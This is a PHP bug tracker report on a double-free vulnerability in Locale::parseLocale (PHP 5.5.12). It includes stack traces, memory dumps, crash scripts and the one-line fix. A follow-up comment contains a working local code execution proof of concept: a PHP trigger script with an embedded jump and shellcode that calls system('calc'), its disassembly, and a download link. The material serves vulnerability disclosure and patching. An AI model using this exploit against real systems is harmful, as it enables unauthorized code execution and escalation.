|
php.net | support | documentation | report a bug | advanced search | search howto | statistics | random bug | login |
[2014-05-28 01:24 UTC] john dot leitch5 at gmail dot com
Description:
------------
PHP 5.5.12 suffers from a memory corruption vulnerability that could potentially be exploited to achieve remote code execution. The vulnerability exists due to inconsistent behavior in the get_icu_value_internal function of ext\intl\locale\locale_methods.c. In most cases, get_icu_value_internal allocates memory that the caller is expected to free. However, if the first argument, loc_name, satisfies the conditions specified by the isIDPrefix macro (figure 1), and fromParseLocal is true, loc_name itself is returned. If a caller abides by contract and frees the return value of such a call, then the pointer passed via loc_name is freed again elsewhere, a double free occurs.
Figure 1. Macros used by get_icu_value_internal.
#define isIDSeparator(a) (a == '_' || a == '-')
[...]
#define isPrefixLetter(a) ((a=='x')||(a=='X')||(a=='i')||(a=='I'))
[...]
#define isIDPrefix(s) (isPrefixLetter(s[0])&&isIDSeparator(s[1]))
The zif_locale_parse function, which is exported to PHP as Locale::parseLocale, makes a call to get_icu_value_internal with potentially untrusted data. By passing a specially crafted locale (figure 2), remote code execution may be possible. The exploitability of this vulnerability is dependent on the attack surface of a given application. In instances where the locale string is exposed as a user configuration setting, it may be possible to achieve either pre- or post-authentication remote code execution. In other scenarios this vulnerability may serve as a means to achieve privilege escalation.
Figure 2. A call to Locale::parseLocale that triggers the exploitable condition.
Locale::parseLocale("x-AAAAAA");
Details for the two frees are shown in figures 3 and 4.
Figure 3. The first free.
0:000> kP
ChildEBP RetAddr
016af25c 7146d7a3 php5ts!_efree(
void * ptr = 0x030bf1e0)+0x62 [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\zend\zend_alloc.c @ 2440]
016af290 7146f6a2 php_intl!add_array_entry(
char * loc_name = 0x0179028c "",
struct _zval_struct * hash_arr = 0x00000018,
char * key_name = 0x71489e60 "language",
void *** tsrm_ls = 0x7146f6a2)+0x1d3 [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\ext\intl\locale\locale_methods.c @ 1073]
016af2b0 0f0c15ab php_intl!zif_locale_parse(
int ht = 0n1,
struct _zval_struct * return_value = 0x030bf4c8,
struct _zval_struct ** return_value_ptr = 0x00000000,
struct _zval_struct * this_ptr = 0x00000000,
int return_value_used = 0n1,
void *** tsrm_ls = 0x0178be38)+0xb2 [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\ext\intl\locale\locale_methods.c @ 1115]
016af314 0f0c0c07 php5ts!zend_do_fcall_common_helper_SPEC(
struct _zend_execute_data * execute_data = 0x0179028c,
void *** tsrm_ls = 0x00000018)+0x1cb [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\zend\zend_vm_execute.h @ 551]
016af358 0f114757 php5ts!execute_ex(
struct _zend_execute_data * execute_data = 0x030bef20,
void *** tsrm_ls = 0x0178be38)+0x397 [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\zend\zend_vm_execute.h @ 363]
016af380 0f0e60ea php5ts!zend_execute(
struct _zend_op_array * op_array = 0x030be5f0,
void *** tsrm_ls = 0x00000007)+0x1c7 [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\zend\zend_vm_execute.h @ 388]
016af3b4 0f0e4a00 php5ts!zend_execute_scripts(
int type = 0n8,
void *** tsrm_ls = 0x00000001,
struct _zval_struct ** retval = 0x00000000,
int file_count = 0n3)+0x14a [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\zend\zend.c @ 1317]
016af5c0 00cc21fb php5ts!php_execute_script(
struct _zend_file_handle * primary_file = <Memory access error>,
void *** tsrm_ls = <Memory access error>)+0x190 [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\main\main.c @ 2506]
016af844 00cc2ed1 php!do_cli(
int argc = 0n24707724,
char ** argv = 0x00000018,
void *** tsrm_ls = 0x0178be38)+0x87b [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\sapi\cli\php_cli.c @ 995]
016af8e0 00cca05e php!main(
int argc = 0n2,
char ** argv = 0x01791d68)+0x4c1 [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\sapi\cli\php_cli.c @ 1378]
016af920 76e1919f php!__tmainCRTStartup(void)+0xfd [f:\dd\vctools\crt_bld\self_x86\crt\src\crtexe.c @ 536]
016af92c 770ba8cb KERNEL32!BaseThreadInitThunk+0xe
016af970 770ba8a1 ntdll!__RtlUserThreadStart+0x20
016af980 00000000 ntdll!_RtlUserThreadStart+0x1b
0:000> ub eip
php5ts!_efree+0x49 [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\zend\zend_alloc.c @ 2440]:
0f0b1ef9 732e jae php5ts!_efree+0x79 (0f0b1f29)
0f0b1efb 817e4c00000200 cmp dword ptr [esi+4Ch],20000h
0f0b1f02 7325 jae php5ts!_efree+0x79 (0f0b1f29)
0f0b1f04 8bc2 mov eax,edx
0f0b1f06 c1e803 shr eax,3
0f0b1f09 8d0c86 lea ecx,[esi+eax*4]
0f0b1f0c 8b4148 mov eax,dword ptr [ecx+48h]
0f0b1f0f 894708 mov dword ptr [edi+8],eax
0:000> u eip
php5ts!_efree+0x62 [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\zend\zend_alloc.c @ 2440]:
0f0b1f12 897948 mov dword ptr [ecx+48h],edi
0f0b1f15 01564c add dword ptr [esi+4Ch],edx
0f0b1f18 a148456a0f mov eax,dword ptr [php5ts!zend_unblock_interruptions (0f6a4548)]
0f0b1f1d 85c0 test eax,eax
0f0b1f1f 0f851d040000 jne php5ts!_efree+0x492 (0f0b2342)
0f0b1f25 5f pop edi
0f0b1f26 5e pop esi
0f0b1f27 59 pop ecx
0:000> ?edi+8
Evaluate expression: 51114464 = 030bf1e0
0:000> dc edi+8
030bf1e0 00000000 41414141 00000000 00000000 ....AAAA........
030bf1f0 00000011 00000019 61636f6c 0300656c ........locale..
030bf200 00000011 00000011 6e697270 00725f74 ........print_r.
030bf210 00000109 00000011 030bf320 030bf210 ........ .......
030bf220 01790494 00000000 00000000 00000000 ..y.............
030bf230 00000000 00000000 00000000 00000000 ................
030bf240 00000000 00000000 00000000 00000000 ................
030bf250 00000000 00000000 00000000 00000000 ................
Figure 4. The second free.
0:000> kP
ChildEBP RetAddr
016af2c4 0f0c1813 php5ts!_zval_dtor_func(
struct _zval_struct * zvalue = 0x030bf3f8)+0x7f [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\zend\zend_variables.c @ 36]
016af314 0f0c0c07 php5ts!zend_do_fcall_common_helper_SPEC(
struct _zend_execute_data * execute_data = 0x0179028c,
void *** tsrm_ls = 0x00000018)+0x433 [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\zend\zend_vm_execute.h @ 642]
016af358 0f114757 php5ts!execute_ex(
struct _zend_execute_data * execute_data = 0x030bef20,
void *** tsrm_ls = 0x0178be38)+0x397 [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\zend\zend_vm_execute.h @ 363]
016af380 0f0e60ea php5ts!zend_execute(
struct _zend_op_array * op_array = 0x030be5f0,
void *** tsrm_ls = 0x00000007)+0x1c7 [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\zend\zend_vm_execute.h @ 388]
016af3b4 0f0e4a00 php5ts!zend_execute_scripts(
int type = 0n8,
void *** tsrm_ls = 0x00000001,
struct _zval_struct ** retval = 0x00000000,
int file_count = 0n3)+0x14a [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\zend\zend.c @ 1317]
016af5c0 00cc21fb php5ts!php_execute_script(
struct _zend_file_handle * primary_file = <Memory access error>,
void *** tsrm_ls = <Memory access error>)+0x190 [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\main\main.c @ 2506]
016af844 00cc2ed1 php!do_cli(
int argc = 0n24707724,
char ** argv = 0x00000018,
void *** tsrm_ls = 0x0178be38)+0x87b [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\sapi\cli\php_cli.c @ 995]
016af8e0 00cca05e php!main(
int argc = 0n2,
char ** argv = 0x01791d68)+0x4c1 [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\sapi\cli\php_cli.c @ 1378]
016af920 76e1919f php!__tmainCRTStartup(void)+0xfd [f:\dd\vctools\crt_bld\self_x86\crt\src\crtexe.c @ 536]
016af92c 770ba8cb KERNEL32!BaseThreadInitThunk+0xe
016af970 770ba8a1 ntdll!__RtlUserThreadStart+0x20
016af980 00000000 ntdll!_RtlUserThreadStart+0x1b
0:000> ub eip
php5ts!_zval_dtor_func+0x5e [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\zend\zend_variables.c @ 36]:
0f0b1cae 0f8394000000 jae php5ts!_zval_dtor_func+0xf8 (0f0b1d48)
0f0b1cb4 817f4c00000200 cmp dword ptr [edi+4Ch],20000h
0f0b1cbb 0f8387000000 jae php5ts!_zval_dtor_func+0xf8 (0f0b1d48)
0f0b1cc1 8bc2 mov eax,edx
0f0b1cc3 c1e803 shr eax,3
0f0b1cc6 8d0c87 lea ecx,[edi+eax*4]
0f0b1cc9 8b4148 mov eax,dword ptr [ecx+48h]
0f0b1ccc 894608 mov dword ptr [esi+8],eax
0:000> u eip
php5ts!_zval_dtor_func+0x7f [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\zend\zend_variables.c @ 36]:
0f0b1ccf 897148 mov dword ptr [ecx+48h],esi
0f0b1cd2 01574c add dword ptr [edi+4Ch],edx
0f0b1cd5 a148456a0f mov eax,dword ptr [php5ts!zend_unblock_interruptions (0f6a4548)]
0f0b1cda 85c0 test eax,eax
0f0b1cdc 0f8591010000 jne php5ts!_zval_dtor_func+0x223 (0f0b1e73)
0f0b1ce2 5f pop edi
0f0b1ce3 5e pop esi
0f0b1ce4 c3 ret
0:000> ?esi+8
Evaluate expression: 51114464 = 030bf1e0
0:000> dc esi+8
030bf1e0 030bf1d8 41414141 00000000 00000000 ....AAAA........
030bf1f0 00000011 00000019 61636f6c 0300656c ........locale..
030bf200 00000011 00000011 6e697270 00725f74 ........print_r.
030bf210 00000109 00000011 030bf320 030bf210 ........ .......
030bf220 01790494 00000000 00000000 00000000 ..y.............
030bf230 00000000 00000000 00000000 00000000 ................
030bf240 00000000 00000000 00000000 00000000 ................
030bf250 00000000 00000000 00000000 00000000 ................
The outcome of the double free depends on the arrangement of the heap. A simple script that produces a variety of read access violations is shown in figure 5, and another that reliably produces data execution prevention access violations is provided in figure 6.
Figure 5. A script that produces a variety of AVs.
<?php
Locale::parseLocale("x-AAAAAA");
$foo = new SplTempFileObject();
?>
Figure 6. A script that reliably produces DEPAVs.
<?php
Locale::parseLocale("x-7-644T-42-1Q-7346A896-656s-75nKaOG");
$pe = new SQLite3($pe, new PDOException(($pe->{new ReflectionParameter(TRUE, new RecursiveTreeIterator((null > ($pe+=new RecursiveCallbackFilterIterator((object)$G16 = new Directory(), DatePeriod::__set_state()))), (array)$h453 = new ReflectionMethod(($pe[TRUE]), $G16->rewind((array)"mymqaodaokubaf")), ($h453->getShortName() === null), ($I68TB = new InvalidArgumentException($H03 = new DOMStringList(), null, (string)MessageFormatter::create($sC = new AppendIterator(), new DOMUserDataHandler())) & null)))}), ($h453[(bool)DateInterval::__set_state()]), new PDOStatement()), TRUE);
$H03->item((unset)$gn = new SplStack());
$sC->valid();
?>
To fix the vulnerability, get_icu_value_internal should be modified to return a copy of loc_name rather than loc_name itself. This can be done easily using the estrdup function. The single line fix is shown in figures 7 and 8.
Figure 7. The original code.
if( strcmp(tag_name , LOC_LANG_TAG)==0 ){
if( strlen(loc_name)>1 && (isIDPrefix(loc_name) ==1 ) ){
return (char *)loc_name;
}
}
Figure 8. The fixed code.
if( strcmp(tag_name , LOC_LANG_TAG)==0 ){
if( strlen(loc_name)>1 && (isIDPrefix(loc_name) ==1 ) ){
return estrdup(loc_name);
}
}
Patchesbug67349-patch (last revision 2014-06-08 19:57 UTC by stas@php.net)Pull RequestsHistoryAllCommentsChangesGit/SVN commits
|
|||||||||||||||||||||||||||
Copyright © 2001-2025 The PHP GroupAll rights reserved. |
Last updated: Fri Oct 24 12:00:01 2025 UTC |
I was looking at this and I don't think this is a security flaw or, if it were, it would require some pretty poorly written code to exploit it. For instance, setting 'Locale::parseLocale("x-AAAAAA");' would require you to take untrusted user input and use it directly (like Locale::parseLocale($_GET['locale'] or some such). It's pretty standard that using un-sanitized user input like this is bad form. However, it's possible that a script author could allow a user to set a locale and give them a few options of locales they support (doubtful that it would be an arbitrary free-text field since you could pick a german locale, but if there were no german translations it would look pretty odd), so it would likely be a pick-list (<Select .. />). If the script author allowed the user to pick from a list of locales and then didn't validate that prior to using it (make sure if the user provided 'jerk' as a locale that we actually gave them that option), then that pretty much violates the principle of "trust nothing a user provides...ever". Given that, the script would be the flawed program here (using untrusted/unvalidated input), not PHP.To prove this is in fact a security issue, I have developed a local code execution exploit. Such an exploit could, as I previously mentioned, be used to further compromise a system where arbitrary PHP execution is possible, but limited by php.ini settings such as disable_functions or disable_classes. While an exploit like this is less critical than remote code execution, I chose to take this approach for the sake of brevity; this only took a couple hours to develop. The exploit itself is based on the DEPAV repro file I provided with my original report. Upon further analyzing the exception, I noticed that the PHP engine was attempting to execute a variable name as if it was machine code. For reasons unknown, this behavior was only exhibited when the variable name was <= 3 characters, so it wasn't possible to execute shellcode in place. That wasn't a problem, however, as I was able to insert a two-byte relative jmp instruction (\xeb\x9a), which jumped to some shellcode stashed away at the bottom of the script (\x31\xC9\x51\x68\x63\x61\x6C\x63\x54\xB8\xC7\x93\xC2\x77\xFF\xD0). Here's the script (note that there may be some encoding issues): <?php Locale::parseLocale("x-7-644T-42-1Q-7346A896-656s-75nKaOG"); $pe = new SQLite3( new PDOException(($pe->{new ReflectionParameter(TRUE, new RecursiveTreeIterator((null > ($pe+=new RecursiveCallbackFilterIterator(${"\xeb\x9a\x22"}=new Directory()))), (array)$h453 = new ReflectionMethod(), (null)))}), null, null), TRUE); echo 'fooooooooooooooo'; ?> <?php 1ÉQhcalcT¸Ç“ÂwÿÐ ?> The script, along with a batch file to assist with repro, can be downloaded here: http://autosectools.com/ParseLocaleLocalCodeExecutionPoC.zip The proof of concept does not utilize any mitigation bypasses, and the shellcode contains hardcoded addresses that only work with Windows XP SP3 EN. However, with more work, this PoC could be improved to increase compatibility and reliability. Here's the disassembly of the shellcode prior to successful exploitation of PHP 5.3: eax=0116db64 ebx=00000003 ecx=0116bac4 edx=00395b38 esi=0116bab8 edi=0116db40 eip=0116db00 esp=00c1f658 ebp=00000000 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 0116db00 cc int 3 0:000> u 0116db00 cc int 3 0116db01 31c9 xor ecx,ecx 0116db03 51 push ecx 0116db04 6863616c63 push 636C6163h 0116db09 54 push esp *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\WINDOWS\system32\msvcrt.dll - 0116db0a b8c793c277 mov eax,offset msvcrt!system (77c293c7) 0116db0f ffd0 call eax 0116db11 90 nop And here's a screenshot of successful code execution: http://autosectools.com/LocalCalc.png I hope we can now agree that this bug is not without security implications.